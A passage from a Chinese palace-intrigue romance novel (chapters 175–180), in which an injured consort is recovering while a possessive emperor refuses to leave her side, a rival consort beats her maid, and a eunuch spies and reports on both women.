云珠默默端来冷水,小心翼翼地为阿孟清理伤口周围的污垢。
“哎呦!”太监尖声道,“这般伤势,若是处理不当,可要留疤了!”
“太医。”墨司渊突然出声,声音透着威严,“可有良方?”
第175章 永不分离
太医连忙跪下:“回皇上,老臣已备好金疮药,只是贵妃娘娘这伤,需好好休养,不可沾水碰热,更要避免剧烈活动。”
“需养多久?”
“至少半月。”太医擦擦额头汗水,“若能静养,当不会留疤。”
墨司渊目光微深:“那便好好养着。”他转向云珠,“你今后细心照料你家娘娘,若有闪失,拿你是问!”
云珠慌忙跪下:“奴婢一定尽心侍奉。”
阿孟冷眼旁观,心中嗤笑。这男人真是善于伪装,当初对自己也是这般关切有加,转眼却心狠手辣打算将孟家满门抄斩。
“无碍。”阿孟淡淡开口,“臣妾向来自持,不需旁人照顾。”
墨司渊目光如炬:“这便是你的不是了。你虽为贵妃,可有伤在身,理当好生调养。”
“皇上何必如此?”阿孟抬眸,眼中带着一丝挑衅,“区区烧伤,比起当初那些刀剑加身,委实不值一提。”
墨司渊面色一滞,眼底闪过一丝晦暗不明的情绪。
太医见气氛不对,忙道:“老臣给娘娘包扎伤口。”
墨司渊沉默良久,忽道:“你当真恨朕?”
阿孟勾唇一笑:“臣妾不敢。”
“朕问你恨不恨!”墨司渊突然提高声音。
“恨,又如何?不恨,又如何?”阿孟声音平静,眼神却如利剑,“皇上高居九重,臣妾的情绪,可有半分值得在意?”
墨司渊眸色更沉,一字一顿:“朕若说在意呢?”
“那便是皇上说笑了。”阿孟轻声道,“臣妾不过是万千臣民中微不足道的一个,何德何能让陛下挂怀?”
太医包扎的手都在发抖,云珠也不敢抬头,偌大殿内气氛凝滞如冰。
太医小心翼翼地包好了最后一层纱布,恭敬行礼:“回皇上,老臣已开好药方,内服的清肺汤需每日三次,外敷的金疮药每日两次更换。”
墨司渊点头,目光仍落在阿孟苍白的脸上:“备好药,即刻送来。”
云珠见太医收拾药箱准备离开,忙道:“奴婢送太医出去。”
“不必。”墨司渊冷声打断,“你随太医一同去取药。”
云珠迟疑片刻,看向阿孟:“娘娘……”
“去吧。”阿孟淡淡道,声音平静得听不出任何情绪。
云珠不敢违抗,只得低头跟着太医退出了内室。
殿门轻轻合上,屋内只剩下二人。
墨司渊缓步走到床前,俯身端详阿孟的面容。
那双曾经盛满爱意的眼眸,如今只剩一片冰冷。
他伸手轻轻捧起她受伤的手臂,动作出乎意料地轻柔。
“还疼吗?”他声音低沉,带着几分不易察觉的颤抖。
阿孟别过头去,避开他的目光:“不疼。”
“又在说谎。”墨司渊指尖轻轻触碰纱布边缘,眉头不由自主地皱起,“这般烧伤,怎会不疼?若是疼,便说出来。”
阿孟冷笑一声:“疼又如何?不疼又如何?皇上何必装作关切?”
“朕并非装作!”墨司渊突然提高了声音,“你可知朕听闻你被困火海时,心中何等着急?”
阿孟缓缓抽回手臂,将伤处藏于袖中:“臣妾受不起您这番照顾”
墨司渊眸色一沉:“你非要如此揣度朕的心意?”
“揣度?”阿孟讽刺地笑了笑,“皇上当年对我是何等柔情,如今又是何等无情,臣妾心知肚明。”
墨司渊沉默片刻,忽然道:“阿孟,这皇宫之中,朕永远是你的依靠。”
“依靠?”阿孟眼中闪过一丝讥诮,“皇上且莫说笑了。若非臣妾今日在厨房熬制补汤,也不会遇上这场大火。”
墨司渊猛然抬头,双眸泛冷:“你这是在责怪朕?”
“臣妾不敢。”阿孟别过脸去,“只是陈述事实罢了。”
“你!”墨司渊怒火中烧,突然伸手钳住她的手腕。
“嘶——”阿孟疼得闷哼一声,脸色更加苍白。
墨司渊似乎意识到自己的失态,立刻松开手,眼中流露出一丝懊悔:“朕不是有意……”
“皇上既然关心臣妾,就请离开吧。
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”阿孟轻轻揉着被捏痛的手腕,声音低弱,“太医说了,臣妾伤势严重,需要静养。皇上待在这里,臣妾实在不敢安心休息。”
她抬起头,眼中带着一丝抵触:“且不说臣妾身上病气未消,恐过给皇上。单是皇上贵为九五之尊,若长时间待在这苔蘅殿,怕是会引起朝臣猜疑。”
墨司渊静静看着她,眼神晦暗不明。
片刻后,他竟一反常态,唇角微微上扬,露出一抹温和笑意:“阿孟,你莫非还不明白?”
阿孟心头一震,不明所以地望着他。
“无论你怎样推拒,朕都不会走。”墨司渊声音温柔,却透出一股令人战栗的寒意,“不仅今日不走,以后也不会走。”
他缓步靠近,眼中的笑意不减,声音却愈发冰冷:“你休想逃离朕的身边,阿孟。这皇城,便是你此生的归处。即便死后,你也要与朕合葬,永不分离。”
“你疯了!”阿孟脱口而出,随即意识到失态,咬住下唇。
“疯?”墨司渊轻笑一声,“或许吧。但朕宁可疯魔,也不会再让你离开。”
他伸出手,轻轻抚过她的面颊。
阿孟本能地想要躲开,却因伤势不便而动作迟缓。
“当初是谁说过,愿意此生追随朕左右?”墨司渊的手指轻轻描摹她的轮廓,“是谁说过,愿与朕共度余生?”
阿孟眼中闪过一丝痛楚:“那不过是年少无知的誓言,皇上又何必当真?”
“朕当真了。”墨司渊的声音突然变得低沉,“所以现在,轮到朕来实现这个誓言。”
“荒谬!”阿孟冷笑一声,“皇上已有皇后和众多嫔妃,何必执着于臣妾这个无用之人?”
墨司渊沉默片刻,忽然叹了口气:“也罢,你我之间纠缠不清,一时半刻说不清楚。你且好生养伤,朕会常来看你。”
“不必了。”阿孟轻声道,“臣妾承受不起皇上如此厚爱。”
“由不得你。”墨司渊转突然笑了,背影冷峻,“记住朕的话,你此生,都别想离开朕。”
第176章 深夜造访
墨司渊话音刚落,便转身离开内室,脚步声在殿中回响。
阿孟望着那离去的背影,眼中寒光乍现。
不出所料,墨司渊当真在苔蘅殿驻足。
他命人在外殿设了案桌,竟是要在此处理朝政。周海领着几个小太监,捧着成摞的奏折进进出出。
“皇上,这是今日急需批阅的折子。”周海恭敬地递上一沓文书。
“放下吧。”墨司渊接过折子,目光却不自觉地朝内室方向瞥去。
周海低头应是,眼角余光却注意到皇上神色异常。
这位天子从未为哪位妃嫔如此破例,便是当初最宠爱的谢妤娘娘也未享此殊荣。
“去传膳,就在这用膳。”墨司渊的命令打断了周海的思绪。
“是,奴才这就去安排。”周海退下后,宫人们立刻忙碌起来。
待到墨司渊暂时离殿去了御花园小憩,云珠才得以抱着药匆匆赶回内室。
她一进门,见阿孟靠在床榻上,面色苍白如纸,顿时忍不住落下泪来。
“娘娘!”云珠快步上前,紧紧握住阿孟的手,“您受了这般大的苦,奴婢竟不在身边伺候。”
阿孟轻轻摇头,反握住云珠的手:“莫哭,我无碍的。这点伤算不得什么。”
“怎会无碍?”云珠拭去泪水,小心翼翼地查看阿孟包扎的伤处,“您手臂都伤成这样了,还说无碍?”
阿孟勾唇一笑:“这点烧伤确实不算什么。只是现在麻烦了。”
“怎么说?”云珠低声问道。
“皇上竟在外殿驻足,我恐怕短时间内难以脱身了。”阿孟眉头微蹙,压低声音道,“外面的事恐怕要耽搁了。”
云珠看了看四周,确定无人偷听,才道:“娘娘放心,奴婢会想办法把消息传给顾将军他们。只是徐才人腹中的孩子…”
阿孟目光一凝:“确实是个难题。原本我打算近日就去看她,如今却被困在这苔蘅殿中。”
“娘娘,要不奴婢去见徐才人?”云珠提议道。
阿孟思索片刻,轻轻摇头:“不妥。你常去徐才人那里,容易引人注意。况且谢妤那边怕是已经起了疑心,派人盯着我们。”
“那该如何是好?”云珠急道。
“只能等一等了,等皇上不再关注我。”
深夜,谢妤在床上辗转反侧,病痛如刀割般侵袭着她的身体。
她忍不住叫出声:“红豆!快来!”红豆匆忙赶来,看到谢妤面色苍白,心中一紧:“娘娘,您怎么了?”
“拿药来!”谢妤急促道,声音中透着不耐。“我需要药,快!”
红豆慌忙去取药,心中暗自担忧:“娘娘,您今日为何没有汤药送来?”
谢妤的脸色一沉,冷冷道:“你问我,我问谁?快点!”红豆心中一颤,知道谢妤脾气暴躁,便不敢多言,急忙去取药。
片刻后,红豆端着药回来了,谢妤一把夺过药,吞下一粒,稍微缓解了些许痛苦。
她的脑子还是不太清醒,嘴里嘟囔着:“今天怎么没有汤药送过来?”
“回娘娘,皇上在苔蘅殿住下了,阿孟又受了伤,最近都不能送汤药过来。”红豆小心翼翼地回答,心中暗自担忧。
“皇上住在苔蘅殿?”谢妤一听,怒火中烧,坐起身来,气得手指紧握:“那**竟敢如此猖狂!”她一激动,身体不支,猛然向后倒去,红豆见状,慌忙去扶:“娘娘,小心!”
“你这个废物!”谢妤怒火中烧,猛地打了红豆一巴掌,红豆被打得愣住,连忙跪下:“娘娘,奴婢该死,求您恕罪!”
“快去找阿孟要汤药!”谢妤咬牙切齿,心中焦急:“我快难受**!”红豆只能硬着头皮答应,匆匆出宫,心中暗自祈祷:“希望阿孟能帮忙。”
红豆一路小跑,来到苔蘅殿外,心中忐忑不安。她不敢敲门,只能不停地往院里扔石子,心中暗想:“希望阿孟能听到我。”
阿孟在屋内听到声音,微微皱眉,轻声道:“云珠,出去看看。”
云珠轻手轻脚地推开门,只见一小石子正好落在院中。她警惕地环顾四周,借着月光发
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现墙角处有个人影闪动。再看清楚,竟是谢妤身边的红豆。
“红豆姑娘,这么晚了为何来此?”云珠皱眉问道,同时暗自留心周遭动静。
不远处的廊下,周海悄无声息地站在阴影中。
他本是守在皇上外殿门口,听到石子声便跟了出来。此刻见云珠迎了人进去,心下疑惑,便靠近了几步。
红豆脸上带着明显的掌痕,眼眶微红:“云珠姐姐,我是来求……”她声音颤抖,不敢说得太大声。
“进来再说吧。”云珠看了看四周,将她引入廊下。借着灯光,云珠这才看清红豆脸上的伤势,心中诧异。
“谢贵妃娘娘打你了?”
红豆低头咬唇:“娘娘病痛发作,急需孟娘娘的汤药,奴婢只好冒险前来求药。”
云珠将她带入内室,阿孟正倚在床头。
隔着薄纱帐子,红豆隐约看到阿孟手臂上裹着厚厚的绷带,心中惊慌不已。
此时她才真正相信这场火灾的严重性。
“孟娘娘…”红豆跪下,不敢抬头,害怕阿孟报复自己。
阿孟却平静地掀开帐子,对她微微一笑:“红豆姑娘深夜前来,想必有急事。”
红豆愣住了,没想到阿孟会如此平静,甚至面带微笑。
她原以为阿孟会厉声责问,或至少冷眼相对。
“娘娘恕罪,奴婢是来求药的。”红豆声音发颤,“谢娘娘病痛发作,急需您的汤药。”
阿孟目光柔和:“谢贵妃近来病情如何?这些天没能亲自去看她,实在过意不去。”
红豆脸色惨白,冷汗直冒。燃起大火的人是她,如今阿孟却关心谢妤的病情,这种反差令她毛骨悚然。
“回娘娘的话,我家娘娘…这几日病情加重了。”红豆低声道,“尤其是今日,痛得寝食难安。”
阿孟若有所思地点点头:“原来如此。”她目光微转,忽然察觉到门外似有动静。她轻轻眨眼,朝云珠使了个眼色。
云珠会意,悄声道:“娘娘受伤在身,如今无法亲自配药。”
第177章 故意为之
红豆眼睛一亮,却又迅速暗了下去。她咬着下唇,强忍着心中的憎恨,俯身叩首。
“孟娘娘,求您大发慈悲!我家娘娘病痛难忍,非您的药不可啊。”红豆声音颤抖,额头抵地,却暗自咬牙。
阿孟与云珠交换了一个眼神,微微摇头。云珠立刻会意,上前一步。
“红豆姑娘有所不知,我家娘娘伤势未愈,况且皇上如今就在偏殿歇息,我们实在不便做那些事。”云珠故意提高声音,眼睛警惕地看向门外,“还请转告谢贵妃娘娘,来日若是方便,我家娘娘定当亲自送药过去。”
红豆抬起头来,眼中闪过一丝怒意:“云珠姐姐,谢娘娘可是痛不欲生,若是今夜得不到药,恐怕…”
“你是在威胁我家娘娘吗?”云珠冷声打断。
红豆脸色一变:“奴婢不敢!只是谢娘娘确实病情紧急。”
阿孟轻叹一声:“红豆姑娘,我确实心有余而力不足。”
红豆见阿孟油盐不进,胸中怒火难压,正欲发作,云珠突然一把拽住她的手腕,力道之大令红豆吃痛。
“红豆姑娘!”云珠压低声音,神色严厉,“皇上就在偏殿,若是惊扰了皇上,你我都担待不起!难道你不怕皇上醒了责罚吗?”
红豆这才如梦初醒,脸色瞬间煞白。她颤抖着看了看四周,终于意识到自己处境危险。
“是…是奴婢唐突了。”红豆勉强挤出一丝笑容,“既然如此,奴婢告退。”
“且慢。”阿孟唤住她,轻声道,“你先回去告诉谢贵妃,就说我已备好药方,待我伤势稍好,便亲自送去。”
红豆垂首应是,心不甘情不愿地退了出去。
殿外暗处,周海静默无声地躲在墙角,将一切听得清清楚楚。
他目送红豆离去,直到那身影消失在夜色中。
阿孟松了口气,连忙向云珠招手:“快过来。”
云珠掩上门,忧心忡忡:“娘娘,周海那人精得很,刚才或许已经听到了什么。”
“听到又如何?”阿孟淡然道,“不过是谢妤求药罢了,有何稀奇?”
云珠皱眉:“可是奴婢担心,皇上若知晓此事…”
“他不会有什么反应的。”阿孟眸中闪过一丝冷意,“谢妤在他心中,不过是个提防的对象罢了。”
“那娘娘为何还要…”
阿孟唇角微勾:“无论有没有反应,只要能转移他的注意力就行。”
云珠恍然大悟:“您是想借此事让皇上将注意力转向谢贵妃…”
“墨司渊为人自负,最不允许他人有所欺瞒。”阿孟微微一笑,那笑容中带着一丝算计,“既然暂时无法脱身,不如让他们狗咬狗去。”
“娘娘果然心思缜密。”云珠由衷赞叹。
“此事不必再提。”阿孟轻声道,“你也累了一天,快下去休息吧。明日还要早起。”
云珠犹豫片刻:“可娘娘的伤…”
“无妨,我能应付。”阿孟目光坚定,语气不容置疑,“你且安心去吧。”
云珠无奈,只得福了福身:“娘娘也要早些歇息。”
待云珠离去,阿孟独自靠在床头,望着窗外渐明的月色,心思沉沉。
周海缓步走在幽深的宫廷回廊上,月色如洗,照在他那张谨慎的脸上。
他脚下步伐轻盈,却又带着几分急促。方才苔蘅殿中那一幕,句句话语皆已铭刻于心。
“皇上,奴才有要事禀报。”周海在门外轻声道。
“进来。”墨司渊的声音从殿内传出,不见喜怒。
周海推门入内,见墨司渊正倚在榻上翻阅奏折,烛火映照着他那张俊美而冷峻的面容。
“启禀皇上,方才奴才在苔蘅殿外,听到谢贵妃宫中的红豆前来求药。”周海垂首道,“红豆说谢贵妃病痛难忍,急需孟贵妃的汤药。”
墨司渊手中的奏折猛然一顿,眉头微蹙:“汤药?什么汤药?”
“红豆并未明说,只道谢贵妃非孟贵妃的药不可。”周海一字不落地将所闻禀报,“孟贵妃以身受重伤为由推脱,红豆离去时面带怨色。”
墨司渊眼中寒光乍
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现,将奏折重重甩在桌上:“谢妤身为贵妃,竟敢在朕的眼皮子底下与人暗通款曲!好大的胆子!”
周海见皇上动怒,小心翼翼地道:“皇上息怒。此事恐怕并非表面这般简单。”
“哦?爱卿有何见解?”墨司渊冷冷问道。
“奴才斗胆揣测,谢贵妃或许是有什么隐疾,不便让太医知晓,才私下求药于孟贵妃。”周海道,“且此事牵扯到孟贵妃,若贸然处置谢贵妃,恐怕会连累孟贵妃。”
“你是在教朕做事吗?”墨司渊声音骤冷。
周海慌忙跪下:“奴才不敢!奴才只是担忧皇上……担忧皇上一时震怒,伤了龙体。”
墨司渊眼神幽深,手指轻敲桌面,陷入沉思。良久,他冷笑一声:“朕岂能不知轻重?谢妤,朕早就知道她居心叵测。”
“是,皇上英明。”
“只是孟贵妃……”墨司渊眼中闪过一丝复杂神色,“她与谢妤又是什么关系?”
周海犹豫片刻,小心翼翼地道:“奴才观察多日,孟贵妃似乎时常受谢贵妃欺压。或许,谢贵妃是以权势逼迫孟贵妃替她配药。”
“哼,谢妤欺压阿孟?”墨司渊冷哼一声,眼中却闪过一丝异样,“谢妤虽然心狠手辣,但阿孟也非善茬。朕倒要看看,她们暗地里到底在做什么把戏。”
他站起身,走到窗前,望着远处苔蘅殿的方向,嘴角勾起一抹冷笑:“朕纵然对谢妤不抱希望,却也不容她在皇宫中为所欲为。”
“皇上打算如何处置?”周海小心问道。
墨司渊转过身来,目光如炬:“不急,再等等。”
他负手踱步,语气忽然缓和:“阿孟受伤在身,眼下朕不便为难她。”
周海瞥见皇上眼中闪过一丝柔软,心中了然。
自边关一行归来,皇上对孟贵妃态度虽仍严厉,却再无当初的刻骨怨恨。
那份旧情,怕是未曾全消。
“皇上是担心孟贵妃?”周海试探道。
墨司渊眸色一沉:“周海,你多言了。”
第178章 早已知晓
“奴才该死!”周海额头抵地。
墨司渊看了他一眼,语气缓和:“起来吧。派人好生守着朝露宫,盯紧谢妤的一举一动。若有异常,即刻禀报。”
“奴才遵旨。”周海起身应道。
“还有,”墨司渊忽然补充,“暗中保护好孟贵妃。”
周海心中一动,应声道:“是,皇上。”
墨司渊挥手示意他退下。周海躬身而退,临出门前,偷瞄了皇上一眼。
只见那高高在上的帝王,正独自立于窗前,眼神落向寝殿方向,眸中暗涌,神色莫测。
周海轻轻合上殿门,退了出去。
夜色如墨,遮掩了他眼中的复杂神色。
皇上对孟贵妃,究竟是情是恨,还是两者交织,恐怕连皇上自己都说不清了。
晨曦微露,苔蘅殿外一片寂静。
墨司渊早已立于院中,身姿笔挺如青松。他不时望向内殿方向,眉间渐染焦躁。
殿内,阿孟半靠在床榻上,任由云珠为她梳理青丝。
“娘娘,皇上已在院中等候多时了。”云珠轻声道,手中梳子缓缓滑过发丝,“要不要去见见?”
阿孟淡淡摇头,眼中闪过一丝讥诮:“不必。”
“可皇上等了这么久…”
“他若等不及,自会进来。”阿孟语气平静,却带着不容置疑的坚定,“墨司渊这人,从来不懂什么叫耐心。”
果然,院外传来一阵急促的脚步声。云珠手中动作一顿,不由紧张起来。
“娘娘…”
“莫慌。”阿孟示意她继续梳发,“只需按常理行事便是。”
殿门被猛地推开,墨司渊大步迈入。他已着好朝服,龙袍森然,却面沉如水。
“皇上。”阿孟微微欠身,算是行礼。
墨司渊冷冷扫视一眼,目光在她仍缠着纱布的手臂上略作停留,随即冷声道:“朝服已备好多时,你为何不来为朕更衣?”
阿孟缓缓站起,不卑不亢:“皇上身上朝服已经穿好了,臣妾何必多此一举?”
“这是你作为妃子的本分!”墨司渊声音陡然拔高,眼中怒火渐盛。
“臣妾自知本分。”阿孟神情平静,仿佛对方的怒火与己无关,“只是臣妾身有伤势,恐怕难以胜任。”
墨司渊眸光一冷,抬步向前,伸手便要抓住阿孟的手腕。
“皇上慢!”云珠猛地跪下,慌忙叩首,“娘娘手臂伤处未愈,不可用力!太医也说了,娘娘需静养,不宜剧烈活动啊!”
墨司渊动作一顿,目光在阿孟那缠着白纱的手臂上停留片刻,终是收回了手。
“伤势如何?”他声音低沉,竟带了几分克制。
“谢皇上关心,臣妾无碍。”阿孟语气淡然,目光却不与之对视。
墨司渊见她如此疏离,怒气又起:“你当真是好生狂妄!朕亲自来看你,你竟连正眼都不瞧朕一下!”
阿孟这才抬眸,眼中却无半分惧色:“臣妾不敢。”
“你!”墨司渊胸口剧烈起伏,似被这三个字激怒至极,却又强压下怒火,“待朕上朝回来,再与你好好算账!”
说罢,他转身大步离去,龙袍猎猎,背影冷峻。
云珠一直跪着不敢起身,直到墨司渊的脚步声彻底消失,才松了口气:“娘娘,皇上这是动了真怒啊。”
“无妨。”阿孟淡定地坐回梳妆台前,示意云珠继续为她梳发,“他不过是恼羞成怒罢了。”
“可皇上说要回来算账…”
“他的算账,不过是找借口罢了。”阿孟眼中闪过一丝了然,“墨司渊这个人,说到底还是心眼小,否则也不会对我这般纠缠不休。”
云珠小心翼翼地道:“娘娘是说,皇上对您还有情义?”
“情义?”阿孟轻笑一声,那笑不达眼底,“或许吧。只是这情义里,更多的是他那可笑的占有欲罢了。他视我为他的所有物,容不得旁人染指,仅此而已。”
“娘娘…”
“别担心。”阿孟转头看向窗外,眼神坚定,“我心中有数。”
“可是…”
“他越是矛盾,我们便越有周旋的余地。”阿孟眸中精光一闪,“今日之事,只是开始。”
云珠没再说什么,专心为娘娘梳发。
谢妤惊喘着从梦魇中醒来,浑身被疼痛撕裂。
她在床榻上辗转反侧,汗水浸透了鬓
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角。
“红豆!红豆!”谢妤声嘶力竭地喊着,“贱婢,死到哪里去了!”
红豆挑着灯急匆匆赶来,跪伏在床边:“娘娘,奴婢在此。”
“药,快给我药!”谢妤蜷缩着身子,疼得面色惨白。
红豆手忙脚乱地从荷包中取出药丸,递到谢妤唇边。谢妤一把抓过,塞入口中。
药丸入腹,疼痛稍缓,她才有力气睁开眼睛。
“怎么是药丸?我要的是阿孟那**的汤药!”谢妤咬牙切齿,眼中迸射出怨毒的光芒,“你昨晚不是去了苔蘅殿吗?”
红豆跪地磕头,声音哆嗦:“回娘娘的话,奴婢去了,可皇上就在隔壁偏殿,奴婢不敢……”
“不敢?”谢妤眼中凶光毕露,“你不敢,本宫现在要**你管不管!”
红豆吓得面如土色:“娘娘息怒,奴婢明日再去求一次。”
“混账东西!”谢妤暴怒之下,一把抓起床头铜制烛台,狠狠掷向红豆,“要你何用!”
烛台擦过红豆的肩膀,重重砸在地上。红豆被打得踉跄倒地,肩上立刻红肿一片。
她不敢躲,只能跪在地上,泪流满面地磕头:“娘娘恕罪,奴婢该死,奴婢该死啊!”
谢妤还要发作,却猛然感到一阵心悸。
她喘着粗气,竟在红豆的哭声中回过神来,望着自己怒火中挥出的手,一丝惊恐浮上心头。
“我这是怎么了?”谢妤摸着自己的额头,感到一片滚烫,“为何脾气控制不住?”
红豆见谢妤神色不对,小心翼翼地问:“娘娘,您没事吧?”
谢妤深吸一口气,努力平复情绪:“本宫无事。你去,去请皇上过来看本宫。”
红豆面露难色:“娘娘,这个时候,皇上恐怕……”
“你是在违抗本宫的命令吗?”谢妤眼中又露出狠厉之色。
红豆慌忙磕头:“奴婢不敢。只是皇上如今住在苔蘅殿,怕是……”
“现在是上朝时间,皇上下朝时,你去求见。”谢妤捂着胸口,声音虚弱了几分,“就说本宫病重,急需皇上垂怜。”
红豆不敢拒绝,只能领命:“是,娘娘。”
第179章 纠结心思
退出朝露宫,红豆早早守在下朝的必经之路上。
远远看到皇帝的仪仗渐近,她忙跪在道路中央,高声呼喊:
“皇上开恩,皇上开恩啊!谢贵妃娘娘病重,求皇上垂怜!”
墨司渊高坐轿撵之上,面色冷峻,眼神淡漠地扫过红豆,仿佛她只是路边一粒微不足道的尘埃。
“起来吧,不必跪着了。”墨司渊的声音冷得没有一丝温度,“好生照顾你家娘娘便是。”
红豆见皇上竟不为所动,急得连连叩首:“皇上,娘娘病痛难忍,夜不能寐,求皇上去看一眼吧!”
“哦?”墨司渊眼中闪过一丝冷意,“既然谢妤贵妃病重,朕自会差御医前去。至于朕亲自前往,却是不必了。”
“皇上!”红豆急得眼泪直流,“娘娘思念圣颜,若见不到您,恐怕……”
“够了。”墨司渊声音骤冷,目光如刀。
“红豆,朕劝你做好本分,好生侍奉你家娘娘。”他嘴角勾起一丝冷笑,“别再让朝露宫失火了。”
红豆如坠冰窟,浑身发颤。
她猛然抬头,对上皇帝那双洞察一切的眼睛,心中明白——皇上早已知晓一切,只是没有戳穿罢了。
“奴婢、奴婢谨遵圣谕。”红豆颤抖着磕头,额头贴地,不敢再多言一句。
轿撵渐行渐远,红豆跪在原地,满心绝望。
她明白谢妤听到这个消息后会如何暴怒,可她又能如何?
宫中权势如浮云,她不过是风雨中的一片落叶,随时可能被碾碎。
苔蘅殿内一片恬静,墨司渊远远便看到阿孟与云珠二人在庭院中晒着暖阳。
阿孟手执医书,云珠在旁细心研读,那一幕竟像极了往日无忧时光,让墨司渊不由得放慢脚步。
“你们都下去。”墨司渊挥退周海等人,独自迈入庭院。
云珠见状慌忙起身:“奴婢见过皇上。”
“下去吧。”墨司渊语气柔和,目光却始终落在阿孟身上。
云珠低头退下,留下二人独处。
院中风清日朗,却弥漫着一股无形的紧张气息。
阿孟缓缓起身,屈膝行礼:“臣妾见过皇上。”声音平静无波,眼中不见半分温度。
墨司渊径直走到石桌前,伸手翻了翻那本医书。他的手指轻轻拂过书页,看似随意,实则观察着阿孟的反应。
阿孟心头一紧,眸色微暗。
当年墨司渊曾亲手焚毁她珍藏的书卷,那些烧灼的痕迹至今还在她心上烙印。
她下意识伸手欲取,却又强忍住,只是垂眸站立。
“红豆刚才来找朕。”墨司渊放下医书,转身看向阿孟,语气中带着几分宠溺与邀功,“朕让她回去做好自己的本分,不要再来打扰你休养。”
阿孟心中冷笑,面上却不露分毫:“多谢皇上体恤。谢贵妃病情虽重,但确需安心静养。”
“朕不想听这个。”墨司渊眉头一皱,眼中闪过一丝不耐烦,“朕问你,你与谢妤之间,可有什么私下交易?为何她的宫人总是来求药?”
阿孟抬眸直视墨司渊:“当初是皇上亲自指派臣妾去照顾谢贵妃,这本就是臣妾的职责所在。红豆来求药,也不过是为主尽忠罢了。”
“职责?忠心?”墨司渊冷笑一声,猛地将桌上的医书挥落在地,书页散落一地,“阿孟,你真以为朕要的是你这份所谓的忠心吗?”
医书落地的声响惊起一群飞鸟,阿孟眼中闪过一丝痛色,却仍然面不改色:“臣妾不知皇上的意思。”
“你明明知道!”墨司渊上前一步,眼中闪烁着复杂的光芒,“朕需要的是一个枕边人,而不是一个尽忠职守的臣子!朕身边忠诚的臣子已经足够多了。”
阿孟低垂眼睑,掩藏起眼中的一切情绪:“臣妾不过一介女流,知晓的只有忠君之道。若有不当之处,还请皇上明示。”
“你!”墨司渊眼中怒火中烧,却又在看到阿孟苍白的面容时硬生生压了下去。他深吸一口气,缓缓道:“你当真如此不懂吗?”
“臣妾愚钝。”阿孟轻声回答,不卑不亢。
墨司渊看着眼前这个熟悉又陌生的女子,心中忽然升起一股莫名的无力感。
曾几何时,她眼中盛满爱意,为他浅笑盈盈;如今却如一潭死水,波澜不惊。
“你这般冷漠,是恨朕吗?”墨司渊忽然问道。
阿孟心中一颤,抬眼望向墨司渊:“皇上乃九五之尊,臣妾怎敢有半分不敬之心?”
“不要总是皇上长、皇上短!”墨司渊忍不住提高了声音,“朕问你恨不恨墨司渊这个人!”
院中一片寂静,连鸟雀声都消散了。阳光洒在阿孟那张清冷的面容上,映出一种令人心痛的美。
“恨与不恨,又有何意义?”阿孟终于抬起头来,目光清澈见底,“昔日已逝,回不来了。”
墨司渊静静凝视着她,忽然伸手抚上她的脸颊:“若朕说,要重新开始呢?”
阿孟没有躲开,但眼中的冷意更甚:“皇上有谢贵妃,有众多嫔妃。臣妾不过是其中一员,哪敢奢望什么重新开始?”
“你就是不一样!”墨司渊语气中带着几分急切,“从前是朕不明白,如今……”
她弯腰拾起散落在地的医书,动作间牵动伤处,面上闪过一丝痛色,却咬牙忍住没有出声。
那一瞬的脆弱稍纵即逝,阿孟背脊仍挺得笔直。
书页在她指尖微微颤抖,昔日墨司渊那把无情的火又仿佛重新烧灼着她的记忆。
墨司渊眸中闪过一丝不易察觉的心疼,却很快被恼怒取代。
他注视着阿孟苍白的面容,看她不动声色地承受着疼痛,心中那把无名火越烧越旺。
“你就这么恨不得朕离开?以为用这种方式就能把朕逼走?”墨司渊冷笑一声,伸手猛地捏住她的下巴,迫使她抬头直视自己,“朕偏不如你的意。”
阿孟眼神冷如寒星,丝毫不为所动:“皇上尽可留下,反正这苔蘅殿不过是皇宫一隅,皇上喜欢,自然可以随意处置。”
“朕处置的岂止是这座宫殿?”墨司渊松开手,却凑近她耳边,声音低沉而危险,“整个皇宫,包括你在内,都是朕的。”
第180章 另外的办法
“臣妾不敢忘。”阿孟退后半步,拉开距离,语气平静无波。
墨司渊长舒一口气,似乎在努力压抑着滔天怒火。他转身踱步至石桌旁,手指轻敲桌面,久久无言。
良久,他终于回身,目光扫过阿孟仍抱着书的手臂,脸色略缓:“好生养伤,朕暂且不与你计较。”
“臣妾谢皇上恩典。”阿孟垂眸行礼,声音依然冷淡。
“孟方意,”墨司渊突然唤她本名,“朕话放在这里—你休想用任何方式把朕从这里赶走。”
剑拔弩张的气氛在院中蔓延,连飘落的花瓣都不敢打扰这场无声的较量。
就在此时,云珠端着一碗热气腾腾的药走进院中,身形微顿,察觉到主仆二人之间凝滞的空气。
她略一思索,立即走到石桌前,将药碗轻轻放下。
“娘娘,药已备好,请趁热服用。”云珠福身道,声音轻柔却足以打破院中的寂静。
墨司渊目光一转,落在那碗褐色药汁上,眼中闪过一丝兴味。
他未曾挪步,反倒在石凳上坐下,修长的手指轻叩桌面。
“既是药到,朕倒要看看你是如何服药的。”他唇角微扬,语气中透着不容拒绝的强势。
阿孟微微蹙眉,看了一眼墨司渊华贵的龙袍,冷声道:“臣妾服药之事,何须皇上监督?”
“怎么,朕看你喝药也不行?”墨司渊眸光一冷,声音骤然拔高,“难不成这药中另有玄机,不能让朕看见?”
“皇上多虑了。”阿孟声线平稳,不卑不亢,“只是臣妾不习惯有人在旁观看。”
“习不习惯,今日都得习惯。”墨司渊冷笑一声,“这是朕的苔蘅殿,朕想看就看。”
云珠站在一旁,低垂着头,不敢抬眼看二人交锋。
阿孟冷冷看了墨司渊一眼,心中恼怒更甚。
她大步上前,拿起药碗,不待云珠开口提醒,便一口饮下大半碗药。
药汁烫热,她不及细想,喉头一紧,顿时被呛得咳嗽起来,脸色憋得通红。
滚烫的药液灼烧着她的舌尖,疼痛难忍,却硬是不肯示弱。
“娘娘!”云珠惊呼一声,连忙上前欲拍她的背。
墨司渊比云珠更快,一步上前,俊眉紧锁,眼中闪过一丝慌乱。
他不顾自身龙袍华贵,伸手轻拭阿孟唇角残留的药渍,语气中带着责备与担忧:“这么大的人了,连喝药都不会,急什么?”
“臣妾无碍。”阿孟避开他的手,强压下喉间的不适。
“无碍?”墨司渊冷哼一声,“你看看你,脸都涨红了,这般毛躁模样,让外人见了如何相信你是朕的贵妃?”
阿孟冷眼看他:“皇上若嫌臣妾失礼,大可册封旁人为贵妃,把臣妾赶出宫去!”
“你——”墨司渊气得胸口起伏,“孟方意,你当真是油盐不进!”
“臣妾谢皇上赐药。”阿孟放下药碗,强自镇定,虽面上仍带着烫红的痕迹,却不肯低头,“若无他事,臣妾告退。”
墨司渊本欲出言阻拦,却见她面色实在难看,只得咬牙道:“去吧,好生休息。”
